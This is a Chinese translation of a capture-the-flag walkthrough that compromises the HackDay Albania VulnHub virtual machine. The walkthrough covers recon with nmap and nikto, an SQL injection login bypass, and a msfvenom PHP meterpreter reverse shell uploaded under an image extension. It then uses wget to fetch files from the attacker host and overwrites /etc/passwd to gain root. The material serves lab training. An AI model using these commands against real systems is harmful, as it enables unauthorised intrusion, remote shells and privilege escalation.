【CTF攻略】黑进Hackday Albania VM (CTF 挑战)

阅读量192458

|

发布时间 : 2016-12-09 15:19:41

x
译文声明

本文是翻译文章,文章来源:hackingarticles.in

原文地址:http://www.hackingarticles.in/hack-hackday-albania-vm-ctf-challenge/

译文仅供参考,具体内容表达以及含义原文为准。


https://p2.ssl.qhimg.com/t01d539a644716e773c.jpg

翻译派大星

预估稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

这个攻击环境被用于HackDay Albania’s 2016 CTF,它使用了DHCP。

NOTE:VMware用户使用时可能在网络接口方面遇到问题,所以我们建议你使用VirtualBox。

在这里下载攻击环境:

https://www.vulnhub.com/entry/hackday-albania,167/

现在让我们开始吧。首先,让我们像往常一样执行网络发现。

Netdiscover

http://p4.qhimg.com/t01aa4b22b77908ace8.png

然后我们执行Nmap

nmap -p- A 192.168.0.103

http://p4.qhimg.com/t019246d538dac6369c.png

Nmap结果显示目标在8008端口上运行http程序。所以我们打开浏览器,输入网址:

http://192.168.0.103:8008

http://p3.qhimg.com/t01d6ce6371864d409b.png

弹框中的信息翻译后是:“if I am, I know where to go :)”。

我们尝试在源代码中发现一些信息,我们在底部发现了一个注释:“Ok ok, but not here :)”。

下一步我们使用Nikto侦察我们的目标

nikto -h 192.168.0.103:8008

http://p3.qhimg.com/t01d5cd3173e8e18537.png

我们发现了robots.txt文件,在浏览器中打开它。

http://192.168.0.103:8008/robots.txt

http://p1.qhimg.com/t017a678605f5c62dc8.png

除了一个目录,其他所有结果都一样。

http://p9.qhimg.com/t01e231bfef22187b02.png

最值得浏览的目录是 http://192.168.0.103:8008/unisxcudkqjydw/

http://p5.qhimg.com/t01dfa745ad18a1a610.png

所以,我们发现了另一个有用的目录,让我们打开它。

http://192.168.0.103:8008/unisxcudkqjydw/vulnbank/

http://p7.qhimg.com/t01426365ba1aa6acfe.png

点击client目录,它会跳转到一个安全银行的登录界面。

http://p1.qhimg.com/t017da3e3b563b2dcf8.png

在用户名框中输入单引号,我们得到了一个错误页面。

http://p3.qhimg.com/t0181869754d57234d9.png

尝试了多次后,我们最终以第一个用户的身份登录了系统。

‘ or ‘a’ = ‘a’ —
#

http://p4.qhimg.com/t01808fa42ea23a9449.png

在欢迎页面,我们发现了一个文件上传的选项。让我们使用msfvenom创建一个php payload然后尝试上传它。

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw

http://p2.qhimg.com/t01f3097db3df3aeb2c.png

我们把它保存为ra.php然后尝试上传它,然而却得到了一个错误-“After we got hackedwe are allowing only image filesto upload such as jpg,jpeg, bmp etc…”,我们把它重命名为ra.jpg然后成功上传。

http://p6.qhimg.com/t01fbf8bc10941559ba.png

在msfconsole中打开一个msf handler.

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit

http://p6.qhimg.com/t018a36da5ca8c6590a.png

现在我们在浏览器上点击ra.jpg下的view ticket选项。

http://p6.qhimg.com/t01e31a5b4dba723110.png

然后我们就有了一个meterpreter session。为了得到一个合适的shell,进入/tmp目录,找到操作系统版本号,我们执行了以下命令:

shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
cd /tmp
lsb_release -a

http://p2.qhimg.com/t01e284147b1721cbb5.png

由于目标机器并未安装gcc,所以内核exploit看起来并未奏效。所以我们决定换个方式。我们在github下载了一个名为LinEnum.sh的脚本。

git clone https://github.com/rebootuser/LinEnum.git

然后我们在自己的机器上打开了apache服务器

service apache2 start

然后我们将LinEnum.sh复制到自己机器的var/www/html目录,然后在目标机器的shell中执行命令将LinEnum.sh上传到tmp目录。

wget http://192.168.1.106/LinEnum.sh

然后修改LinEnum.sh的权限,而后执行它。

chmod 777 LinEnum.sh
./LinEnum.sh

http://p3.qhimg.com/t015190dc848b1c94fa.png

我们发现etc/passwd文件可写。

http://p4.qhimg.com/t01a22c46f9892ee34a.png

目标机器上使用的加密算法是SHA512

http://p8.qhimg.com/t0136a8b802869fdc57.png

我们在终端中打开受害机器的password文件。

cat /etc/passwd

http://p3.qhimg.com/t01a2a1839bd8bfef77.png

我们将它复制到leafpad编辑器中。

在另一个终端中,我们生成一个用SHA512加密的密码“raj”。

python -c ‘import crypt; print crypt.crypt(“raj”, “$6$saltsalt$”)’

http://p0.qhimg.com/t01f78802df6b46011f.png

现在我们用生成的密码hash代替我们刚刚保存的密码文件中最后一个用户的密码位。

http://p0.qhimg.com/t01f055efd8fae7d4b5.png

然后我们将它命名为passwd并保存到我们机器的var/www/html目录中,将其上传到受害机器的tmp目录中。

wget http://192.168.0.106/passwd

http://p1.qhimg.com/t01f0d86d859f1ab20d.png

现在我们用它来替换掉/etc/passwd。

cp passwd /etc/passwd

然后我们尝试用taviso账户登陆。

su taviso
raj

然后我们试一下是否有sudo权限

sudo -i
Raj

成功了。现在我们查看一下目录的内容。

Ls

这里有我们的flag.读取它,

cat flag.txt

http://p9.qhimg.com/t0168511c8a1eabb9bd.png

Urime,
Tani nis raportin!

翻译过来就是:

Congratulations,

Now begins the report!

本文翻译自hackingarticles.in 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
派大星
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66